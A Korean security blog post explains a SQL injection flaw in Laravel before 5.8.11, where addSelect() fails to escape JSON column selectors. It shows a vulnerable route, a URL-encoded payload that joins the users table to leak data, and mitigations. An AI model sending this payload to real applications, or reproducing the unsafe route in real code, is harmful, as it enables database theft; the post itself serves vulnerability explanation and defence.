본문 바로가기
Hack/Web

Laravel SQL Injection ( Version < 5.8.11)

by Becoming a Hacker 2020. 9. 22.
반응형

개요

Laravel Framework는 SELECT Query에서 사용할 Columns을 입력 값을 통해 지정할 수 있습니다.

 

JSON Data의 경우 addSelect() 함수를 통하여 빠르게 변환할 수 있으며, addSelect() 함수는 json_extract() 함수로 변환되어 쿼리에 사용됩니다.

Blog::query()
    ->addSelect('title->en');
SELECT json_extract(`title`, '$."en"') FROM blogs;

분석

addSelect() 함수의 변환 과정에서는 Escape 되지 않기 때문에 SQL Injeciton 취약점이 발생할 수 있습니다.

 

만약 title->en 데이터 부분에 '#를 추가할 수 있다면 공격자가 직접 json_extract 함수를 닫은 뒤 Query를 추가할 수 있습니다.

Blog::query()
    ->addSelect('title->en'#');
SELECT json_extract(`title`, '$."en'#"') FROM blogs;

 

예제로 사용된 취약한 Laravel의 일부 코드는 다음과 같습니다.

Route::get('/posts', function (Request $request) {
    $fields = $request->get('fields', []);

    $users = Blog::query()->addSelect($fields)->get();

    return response()->json($users);
});

 

정상적인 Requests는 fields 배열 파라메터에 데이터를 입력하여 사용되지만, OUTER JOIN 구문 등을 이용하여 서버 내 중요 정보들을 빼낼 수 있습니다.

 

다음은 URL로 Encodeing 된 SQL Injection 공격 코드입니다.

/blog?fields[]=%22%27%29%29+FROM+blogs+RIGHT+OUTER+JOIN+users+ON+users.id+%3C%3E+null%23

 

공격 코드가 전송되면 변환 과정 중에 다음과 같이 해석하게 되어 취약점이 발생합니다.

Blog::query()->addSelect([
	'"')) FROM blogs RIGHT OUTER JOIN users ON users.id <> null#'
])->get();
SELECT json_extract(`title`, '$."en"')) FROM blogs RIGHT OUTER JOIN users ON users.id <> null#'"') FROM blogs;

 

다만 해당 공격이 성공하려면 조회하려는 테이블에 JSON 데이터가 존재해야 하며, 그렇지 않다면 json_extract() 함수에서 에러가 발생하여 SQL Injeciton 취약점이 발생하지 않게됩니다.


대응 방안

1. Laravel을 5.8.11 이상의 최신 버전으로 업그레이드 하는 것이 가장 좋은 방안입니다.

2. 쿼리 빌더 사용 시 사용자 입력을 컬럼명으로 지정하지 않도록 구현해야 합니다.


Reference

https://stitcher.io/blog/unsafe-sql-functions-in-laravel

 

반응형

'Hack > Web' 카테고리의 다른 글

Relative Path Overwrite(RPO)  (0) 2020.09.22
XS Search Attack (Cross Site Search)  (0) 2020.09.22
Laravel Framework 보안 관련 내용 정리  (0) 2020.09.22
Reflected File Download  (0) 2020.09.22
Phar 파일을 이용한 PHP Unserialization  (0) 2020.09.22

댓글